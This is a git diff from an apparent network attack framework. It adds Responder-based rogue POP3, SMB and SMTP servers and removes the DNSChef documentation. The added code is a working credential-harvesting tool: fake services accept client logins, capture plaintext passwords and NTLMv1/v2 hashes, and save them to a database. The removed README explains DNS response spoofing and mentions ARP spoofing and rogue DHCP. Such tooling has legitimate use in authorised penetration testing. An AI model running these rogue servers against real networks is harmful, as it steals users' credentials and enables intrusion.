received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from SocketServer import BaseRequestHandler +from packets import POPOKPacket + +# POP3 Server class +class POP3(BaseRequestHandler): + + def SendPacketAndRead(self): + Packet = POPOKPacket() + self.request.send(str(Packet)) + data = self.request.recv(1024) + + return data + + def handle(self): + try: + data = self.SendPacketAndRead() + + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + data = self.SendPacketAndRead() + + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + + SaveToDb({ + 'module': 'POP3', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': User, + 'cleartext': Pass, + 'fullhash': User+":"+Pass, + }) + + data = self.SendPacketAndRead() + + else: + data = self.SendPacketAndRead() + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/SMB.py b/core/servers/SMB.py new file mode 100644 index 0000000..2b5394c --- /dev/null +++ b/core/servers/SMB.py @@ -0,0 +1,421 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import core.responder.settings as settings +import threading +import socket +from traceback import print_exc + +from random import randrange +from core.responder.packets import SMBHeader, SMBNegoAnsLM, SMBNegoAns, SMBNegoKerbAns, SMBSession1Data, SMBSession2Accept, SMBSessEmpty, SMBTreeData +from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer +from core.responder.utils import * + +class SMB: + + def start(self): + try: + if OsInterfaceIsSupported(): + server1 = ThreadingTCPServer((settings.Config.Bind_To, 445), SMB1) + server2 = ThreadingTCPServer((settings.Config.Bind_To, 139), SMB1) + else: + server1 = ThreadingTCPServer(('', 445), SMB1) + server2 = ThreadingTCPServer(('', 139), SMB1) + + for server in [server1, server2]: + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting SMB server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) + +# Detect if SMB auth was Anonymous +def Is_Anonymous(data): + SecBlobLen = struct.unpack(' 260: + LMhashLen = struct.unpack(' 60: + SMBHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper() + DomainLen = struct.unpack(' 25: + FullHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex') + LmHash = FullHash[:32].upper() + NtHash = FullHash[32:].upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, settings.Config.NumChal, LmHash, NtHash) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv2', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + + if NthashLen == 24: + NtHash = data[65+LMhashLen:65+LMhashLen+NthashLen].encode('hex').upper() + LmHash = data[65:65+LMhashLen].encode('hex').upper() + WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LmHash, NtHash, settings.Config.NumChal) + + SaveToDb({ + 'module': 'SMB', + 'type': 'NTLMv1', + 'client': client, + 'user': Domain+'\\'+Username, + 'hash': NtHash, + 'fullhash': WriteHash, + }) + +def IsNT4ClearTxt(data, client): + HeadLen = 36 + + if data[14:16] == "\x03\x80": + SmbData = data[HeadLen+14:] + WordCount = data[HeadLen] + ChainedCmdOffset = data[HeadLen+1] + + if ChainedCmdOffset == "\x75": + PassLen = struct.unpack(' 2: + + Password = data[HeadLen+30:HeadLen+30+PassLen].replace("\x00","") + User = ''.join(tuple(data[HeadLen+30+PassLen:].split('\x00\x00\x00'))[:1]).replace("\x00","") + print text("[SMB] Clear Text Credentials: %s:%s" % (User,Password)) + WriteData(settings.Config.SMBClearLog % client, User+":"+Password, User+":"+Password) + +# SMB Server class, NTLMSSP +class SMB1(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(1) + + if len(data) < 1: + break + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + try: + data = self.request.recv(1024) + except: + pass + + # Negociate Protocol Response + if data[8:10] == "\x72\x00": + # \x72 == Negociate Protocol Response + Header = SMBHeader(cmd="\x72",flag1="\x88", flag2="\x01\xc8", pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoKerbAns(Dialect=Parse_Nego_Dialect(data)) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Session Setup AndX Request + if data[8:10] == "\x73\x00": + IsNT4ClearTxt(data, self.client_address[0]) + + # STATUS_MORE_PROCESSING_REQUIRED + Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(data),tid="\x00\x00",mid=midcalc(data)) + Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge) + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(4096) + + # STATUS_SUCCESS + if data[8:10] == "\x73\x00": + if Is_Anonymous(data): + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(data),mid=midcalc(data))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins. + Body = SMBSessEmpty() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + + else: + # Parse NTLMSSP_AUTH packet + ParseSMBHash(data,self.client_address[0]) + + # Send STATUS_SUCCESS + Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = SMBSession2Accept() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + # Tree Connect AndX Request + if data[8:10] == "\x75\x00": + ParseShare(data) + # Tree Connect AndX Response + Header = SMBHeader(cmd="\x75",flag1="\x88", flag2="\x01\xc8", errorcode="\x00\x00\x00\x00", pid=pidcalc(data), tid=chr(randrange(256))+chr(randrange(256)), uid=uidcalc(data), mid=midcalc(data)) + Body = SMBTreeData() + Body.calculate() + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Tree Disconnect. + if data[8:10] == "\x71\x00": + Header = SMBHeader(cmd="\x71",flag1="\x98", flag2="\x07\xc8", errorcode="\x00\x00\x00\x00",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##NT_CREATE Access Denied. + if data[8:10] == "\xa2\x00": + Header = SMBHeader(cmd="\xa2",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Trans2 Access Denied. + if data[8:10] == "\x25\x00": + Header = SMBHeader(cmd="\x25",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + ##LogOff. + if data[8:10] == "\x74\x00": + Header = SMBHeader(cmd="\x74",flag1="\x98", flag2="\x07\xc8", errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Body = "\x02\xff\x00\x27\x00\x00\x00" + + Packet = str(Header)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + + self.request.send(Buffer) + data = self.request.recv(1024) + + except socket.timeout: + pass + +# SMB Server class, old version +class SMB1LM(BaseRequestHandler): + + def handle(self): + try: + self.request.settimeout(0.5) + data = self.request.recv(1024) + + ##session request 139 + if data[0] == "\x81": + Buffer = "\x82\x00\x00\x00" + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Negotiate proto answer. + if data[8:10] == "\x72\x00": + head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data)) + Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge) + Body.calculate() + Packet = str(head)+str(Body) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + ##Session Setup AndX Request + if data[8:10] == "\x73\x00": + if Is_LMNT_Anonymous(data): + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + + else: + ParseLMNTHash(data,self.client_address[0]) + head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data)) + Packet = str(head)+str(SMBSessEmpty()) + Buffer = struct.pack(">i", len(''.join(Packet)))+Packet + self.request.send(Buffer) + data = self.request.recv(1024) + + except Exception: + self.request.close() + pass diff --git a/core/servers/SMTP.py b/core/servers/SMTP.py new file mode 100644 index 0000000..aeb3111 --- /dev/null +++ b/core/servers/SMTP.py @@ -0,0 +1,66 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import settings + +from utils import * +from base64 import b64decode, b64encode +from SocketServer import BaseRequestHandler +from packets import SMTPGreeting, SMTPAUTH, SMTPAUTH1, SMTPAUTH2 + +# ESMTP Server class +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreeting())) + data = self.request.recv(1024) + + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + + if data: + try: + User = filter(None, b64decode(data).split('\x00')) + Username = User[0] + Password = User[1] + except: + Username = b64decode(data) + + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + + if data: + try: Password = b64decode(data) + except: Password = data + + SaveToDb({ + 'module': 'SMTP', + 'type': 'Cleartext', + 'client': self.client_address[0], + 'user': Username, + 'cleartext': Password, + 'fullhash': Username+":"+Password, + }) + + except Exception: + pass \ No newline at end of file diff --git a/core/servers/dns/CHANGELOG b/core/servers/dns/CHANGELOG deleted file mode 100644 index 727a7d7..0000000 --- a/core/servers/dns/CHANGELOG +++ /dev/null @@ -1,29 +0,0 @@ -Version 0.3 - -* Added support for the latest version of the dnslib library - 0.9.3 -* Added support for logging. (idea by kafeine) -* Added support for SRV, DNSKEY, and RRSIG records. (idea by mubix) -* Added support for TCP remote nameserver connections. (idea by mubix) -* DNS name matching is now case insensitive. -* Various small bug fixes and performance tweaks. -* Python libraries are no longer bundled with the distribution, but - compiled in the Windows binary. - -Version 0.2.1 - -* Fixed a Python 2.6 compatibility issue. (thanks Mehran Goudarzi) - -Version 0.2 - -* Added IPv6 support. -* Added AAAA, MX, CNAME, NS, SOA and NAPTR support. -* Added support for ANY queries (returns all known fake records). -* Changed file format to support more DNS record types. -* Added alternative DNS port support (contributed by fnv). -* Added alternative listening port support for the server (contributed by Mark Straver). -* Updated bundled dnslib library to the latest version - 0.8.2. -* Included IPy library for IPv6 support. - -Version 0.1 - -* First public release diff --git a/core/servers/dns/LICENSE b/core/servers/dns/LICENSE deleted file mode 100644 index b826757..0000000 --- a/core/servers/dns/LICENSE +++ /dev/null @@ -1,25 +0,0 @@ -Copyright (C) 2014 Peter Kacherginsky -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -1. Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -2. Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. -3. Neither the name of the copyright holder nor the names of its contributors - may be used to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/core/servers/dns/README.md b/core/servers/dns/README.md deleted file mode 100644 index 589a274..0000000 --- a/core/servers/dns/README.md +++ /dev/null @@ -1,339 +0,0 @@ -DNSChef -======= - -The latest version of this document can be obtained from http://thesprawl.org/projects/dnschef/ - -DNSChef is a highly configurable DNS proxy for Penetration Testers and Malware Analysts. A DNS proxy (aka "Fake DNS") is a tool used for application network traffic analysis among other uses. For example, a DNS proxy can be used to fake requests for "badguy.com" to point to a local machine for termination or interception instead of a real host somewhere on the Internet. - -There are several DNS Proxies out there. Most will simply point all DNS queries a single IP address or implement only rudimentary filtering. DNSChef was developed as part of a penetration test where there was a need for a more configurable system. As a result, DNSChef is cross-platform application capable of forging responses based on inclusive and exclusive domain lists, supporting multiple DNS record types, matching domains with wildcards, proxying true responses for nonmatching domains, defining external configuration files, IPv6 and many other features. You can find detailed explanation of each of the features and suggested uses below. - -The use of DNS Proxy is recommended in situations where it is not possible to force an application to use some other proxy server directly. For example, some mobile applications completely ignore OS HTTP Proxy settings. In these cases, the use of a DNS proxy server such as DNSChef will allow you to trick that application into forwarding connections to the desired destination. - -Setting up a DNS Proxy -====================== - -Before you can start using DNSChef, you must configure your machine to use a DNS nameserver with the tool running on it. You have several options based on the operating system you are going to use: - -* **Linux** - Edit */etc/resolv.conf* to include a line on the very top with your traffic analysis host (e.g add "nameserver 127.0.0.1" if you are running locally). Alternatively, you can add a DNS server address using tools such as Network Manager. Inside the Network Manager open IPv4 Settings, select *Automatic (DHCP) addresses only* or *Manual* from the *Method* drop down box and edit *DNS Servers* text box to include an IP address with DNSChef running. - -* **Windows** - Select *Network Connections* from the *Control Panel*. Next select one of the connections (e.g. "Local Area Connection"), right-click on it and select properties. From within a newly appearing dialog box, select *Internet Protocol (TCP/IP)* and click on properties. At last select *Use the following DNS server addresses* radio button and enter the IP address with DNSChef running. For example, if running locally enter 127.0.0.1. - -* **OS X** - Open *System Preferences* and click on the *Network* icon. Select the active interface and fill in the *DNS Server* field. If you are using Airport then you will have to click on *Advanced...* button and edit DNS servers from there. Alternatively, you can edit */etc/resolv.conf* and add a fake nameserver to the very top there (e.g "nameserver 127.0.0.1"). - -* **iOS** - Open *Settings* and select *General*. Next select on *Wi-Fi* and click on a blue arrow to the right of an active Access Point from the list. Edit DNS entry to point to the host with DNSChef running. Make sure you have disabled Cellular interface (if available). - -* **Android** - Open *Settings* and select *Wireless and network*. Click on *Wi-Fi settings* and select *Advanced* after pressing the *Options* button on the phone. Enable *Use static IP* checkbox and configure a custom DNS server. - -If you do not have the ability to modify device's DNS settings manually, then you still have several options involving techniques such as [ARP Spoofing](http://en.wikipedia.org/wiki/ARP_spoofing), [Rogue DHCP](http://www.yersinia.net/doc.htm) and other creative methods. - -At last you need to configure a fake service where DNSChef will point all of the requests. For example, if you are trying to intercept web traffic, you must bring up either a separate web server running on port 80 or set up a web proxy (e.g. Burp) to intercept traffic. DNSChef will point queries to your proxy/server host with properly configured services. - -Running DNSChef -=============== - -DNSChef is a cross-platform application developed in Python which should run on most platforms which have a Python interpreter. You can use the supplied *dnschef.exe* executable to run it on Windows hosts without installing a Python interpreter. This guide will concentrate on Unix environments; however, all of the examples below were tested to work on Windows as well. - -Let's get a taste of DNSChef with its most basic monitoring functionality. Execute the following command as root (required to start a server on port 53): - - # ./dnschef.py - - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] No parameters were specified. Running in full proxy mode - - -Without any parameters, DNSChef will run in full proxy mode. This means that all requests will simply be forwarded to an upstream DNS server (8.8.8.8 by default) and returned back to the quering host. For example, let's query an "A" record for a domain and observe results: - - $ host -t A thesprawl.org - thesprawl.org has address 108.59.3.64 - -DNSChef will print the following log line showing time, source IP address, type of record requested and most importantly which name was queried: - - [23:54:03] 127.0.0.1: proxying the response of type 'A' for thesprawl.org - -This mode is useful for simple application monitoring where you need to figure out which domains it uses for its communications. - -DNSChef has full support for IPv6 which can be activated using *-6* or *--ipv6** flags. It works exactly as IPv4 mode with the exception that default listening interface is switched to ::1 and default DNS server is switched to 2001:4860:4860::8888. Here is a sample output: - - # ./dnschef.py -6 - _ _ __ - | | version 0.2 | | / _| - __| |_ __ ___ ___| |__ ___| |_ - / _` | '_ \/ __|/ __| '_ \ / _ \ _| - | (_| | | | \__ \ (__| | | | __/ | - \__,_|_| |_|___/\___|_| |_|\___|_| - iphelix@thesprawl.org - - [*] Using IPv6 mode. - [*] DNSChef started on interface: ::1 - [*] Using the following nameservers: 2001:4860:4860::8888 - [*] No parameters were specified. Running in full proxy mode - [00:35:44] ::1: proxying the response of type 'A' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'AAAA' for thesprawl.org - [00:35:44] ::1: proxying the response of type 'MX' for thesprawl.org - -NOTE: By default, DNSChef creates a UDP listener. You can use TCP instead with the *--tcp* argument discussed later. - -Intercept all responses ------------------------ - -Now, that you know how to start DNSChef let's configure it to fake all replies to point to 127.0.0.1 using the *--fakeip* parameter: - - # ./dnschef.py --fakeip 127.0.0.1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [23:55:57] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [23:55:57] 127.0.0.1: proxying the response of type 'AAAA' for google.com - [23:55:57] 127.0.0.1: proxying the response of type 'MX' for google.com - -In the above output you an see that DNSChef was configured to proxy all requests to 127.0.0.1. The first line of log at 08:11:23 shows that we have "cooked" the "A" record response to point to 127.0.0.1. However, further requests for 'AAAA' and 'MX' records are simply proxied from a real DNS server. Let's see the output from requesting program: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address 2001:4860:4001:803::1001 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -As you can see the program was tricked to use 127.0.0.1 for the IPv4 address. However, the information obtained from IPv6 (AAAA) and mail (MX) records appears completely legitimate. The goal of DNSChef is to have the least impact on the correct operation of the program, so if an application relies on a specific mailserver it will correctly obtain one through this proxied request. - -Let's fake one more request to illustrate how to target multiple records at the same time: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [00:02:14] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - [00:02:14] 127.0.0.1: cooking the response of type 'AAAA' for google.com to ::1 - [00:02:14] 127.0.0.1: proxying the response of type 'MX' for google.com - -In addition to the --fakeip flag, I have now specified --fakeipv6 designed to fake 'AAAA' record queries. Here is an updated program output: - - $ host google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 aspmx.l.google.com. - google.com mail is handled by 40 alt3.aspmx.l.google.com. - google.com mail is handled by 30 alt2.aspmx.l.google.com. - google.com mail is handled by 20 alt1.aspmx.l.google.com. - google.com mail is handled by 50 alt4.aspmx.l.google.com. - -Once more all of the records not explicitly overriden by the application were proxied and returned from the real DNS server. However, IPv4 (A) and IPv6 (AAAA) were both faked to point to a local machine. - -DNSChef supports multiple record types: - - +--------+--------------+-----------+--------------------------+ - | Record | Description |Argument | Example | - +--------+--------------+-----------+--------------------------+ - | A | IPv4 address |--fakeip | --fakeip 192.0.2.1 | - | AAAA | IPv6 address |--fakeipv6 | --fakeipv6 2001:db8::1 | - | MX | Mail server |--fakemail | --fakemail mail.fake.com | - | CNAME | CNAME record |--fakealias| --fakealias www.fake.com | - | NS | Name server |--fakens | --fakens ns.fake.com | - +--------+--------------+-----------+--------------------------+ - -NOTE: For usability not all DNS record types are exposed on the command line. Additional records such as PTR, TXT, SOA, etc. can be specified using the --file flag and an appropriate record header. See the [external definitions file](#external-definitions-file) section below for details. - -At last let's observe how the application handles queries of type ANY: - - # ./dnschef.py --fakeip 127.0.0.1 --fakeipv6 ::1 --fakemail mail.fake.com --fakealias www.fake.com --fakens ns.fake.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking all A replies to point to 127.0.0.1 - [*] Cooking all AAAA replies to point to ::1 - [*] Cooking all MX replies to point to mail.fake.com - [*] Cooking all CNAME replies to point to www.fake.com - [*] Cooking all NS replies to point to ns.fake.com - [00:17:29] 127.0.0.1: cooking the response of type 'ANY' for google.com with all known fake records. - -DNS ANY record queries results in DNSChef returning every faked record that it knows about for an applicable domain. Here is the output that the program will see: - - $ host -t ANY google.com localhost - google.com has address 127.0.0.1 - google.com has IPv6 address ::1 - google.com mail is handled by 10 mail.fake.com. - google.com is an alias for www.fake.com. - google.com name server ns.fake.com. - -Filtering domains ------------------ - -Using the above example, consider you only want to intercept requests for *thesprawl.org* and leave queries to all other domains such as *webfaction.com* without modification. You can use the *--fakedomains* parameter as illustrated below: - - # ./dnschef.py --fakeip 127.0.0.1 --fakedomains thesprawl.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 matching: thesprawl.org - [00:23:37] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 127.0.0.1 - [00:23:52] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - -From the above example the request for *thesprawl.org* was faked; however, the request for *mx9.webfaction.com* was left alone. Filtering domains is very useful when you attempt to isolate a single application without breaking the rest. - -NOTE: DNSChef will not verify whether the domain exists or not before faking the response. If you have specified a domain it will always resolve to a fake value whether it really exists or not. - -Reverse filtering ------------------ - -In another situation you may need to fake responses for all requests except a defined list of domains. You can accomplish this task using the *--truedomains* parameter as follows: - - # ./dnschef.py --fakeip 127.0.0.1 --truedomains thesprawl.org,*.webfaction.com -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [*] Cooking replies to point to 127.0.0.1 not matching: *.webfaction.com, thesprawl.org - [00:27:57] 127.0.0.1: proxying the response of type 'A' for mx9.webfaction.com - [00:28:05] 127.0.0.1: cooking the response of type 'A' for google.com to 127.0.0.1 - -There are several things going on in the above example. First notice the use of a wildcard (*). All domains matching *.webfaction.com will be reverse matched and resolved to their true values. The request for 'google.com' returned 127.0.0.1 because it was not on the list of excluded domains. - -NOTE: Wildcards are position specific. A mask of type *.thesprawl.org will match www.thesprawl.org but not www.test.thesprawl.org. However, a mask of type *.*.thesprawl.org will match thesprawl.org, www.thesprawl.org and www.test.thesprawl.org. - -External definitions file -------------------------- - -There may be situations where defining a single fake DNS record for all matching domains may not be sufficient. You can use an external file with a collection of DOMAIN=RECORD pairs defining exactly where you want the request to go. - -For example, let create the following definitions file and call it *dnschef.ini*: - - [A] - *.google.com=192.0.2.1 - thesprawl.org=192.0.2.2 - *.wordpress.*=192.0.2.3 - -Notice the section header [A], it defines the record type to DNSChef. Now let's carefully observe the output of multiple queries: - - # ./dnschef.py --file dnschef.ini -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [00:43:54] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:44:05] 127.0.0.1: cooking the response of type 'A' for www.google.com to 192.0.2.1 - [00:44:19] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 192.0.2.2 - [00:44:29] 127.0.0.1: proxying the response of type 'A' for www.thesprawl.org - [00:44:40] 127.0.0.1: cooking the response of type 'A' for www.wordpress.org to 192.0.2.3 - [00:44:51] 127.0.0.1: cooking the response of type 'A' for wordpress.com to 192.0.2.3 - [00:45:02] 127.0.0.1: proxying the response of type 'A' for slashdot.org - -Both *google.com* and *www.google.com* matched the *\*.google.com* entry and correctly resolved to *192.0.2.1*. On the other hand *www.thesprawl.org* request was simply proxied instead of being modified. At last all variations of *wordpress.com*, *www.wordpress.org*, etc. matched the *\*.wordpress.\** mask and correctly resolved to *192.0.2.3*. At last an undefined *slashdot.org* query was simply proxied with a real response. - -You can specify section headers for all other supported DNS record types including the ones not explicitly exposed on the command line: [A], [AAAA], [MX], [NS], [CNAME], [PTR], [NAPTR] and [SOA]. For example, let's define a new [PTR] section in the 'dnschef.ini' file: - - [PTR] - *.2.0.192.in-addr.arpa=fake.com - -Let's observe DNSChef's behavior with this new record type: - - ./dnschef.py --file dnschef.ini -q - [sudo] password for iphelix: - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking PTR replies for domain *.2.0.192.in-addr.arpa with 'fake.com' - [00:11:34] 127.0.0.1: cooking the response of type 'PTR' for 1.2.0.192.in-addr.arpa to fake.com - -And here is what a client might see when performing reverse DNS queries: - - $ host 192.0.2.1 localhost - 1.2.0.192.in-addr.arpa domain name pointer fake.com. - -Some records require exact formatting. Good examples are SOA and NAPTR - - [SOA] - *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 - - [NAPTR] - *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . - -See sample dnschef.ini file for additional examples. - -Advanced Filtering ------------------- - -You can mix and match input from a file and command line. For example the following command uses both *--file* and *--fakedomains* parameters: - - # ./dnschef.py --file dnschef.ini --fakeip 6.6.6.6 --fakedomains=thesprawl.org,slashdot.org -q - [*] DNSChef started on interface: 127.0.0.1 - [*] Using the following nameservers: 8.8.8.8 - [+] Cooking A replies for domain *.google.com with '192.0.2.1' - [+] Cooking A replies for domain thesprawl.org with '192.0.2.2' - [+] Cooking A replies for domain *.wordpress.* with '192.0.2.3' - [*] Cooking A replies to point to 6.6.6.6 matching: *.wordpress.*, *.google.com, thesprawl.org - [*] Cooking A replies to point to 6.6.6.6 matching: slashdot.org, *.wordpress.*, *.google.com, thesprawl.org - [00:49:05] 127.0.0.1: cooking the response of type 'A' for google.com to 192.0.2.1 - [00:49:15] 127.0.0.1: cooking the response of type 'A' for slashdot.org to 6.6.6.6 - [00:49:31] 127.0.0.1: cooking the response of type 'A' for thesprawl.org to 6.6.6.6 - [00:50:08] 127.0.0.1: proxying the response of type 'A' for tor.com - -Notice the definition for *thesprawl.org* in the command line parameter took precedence over 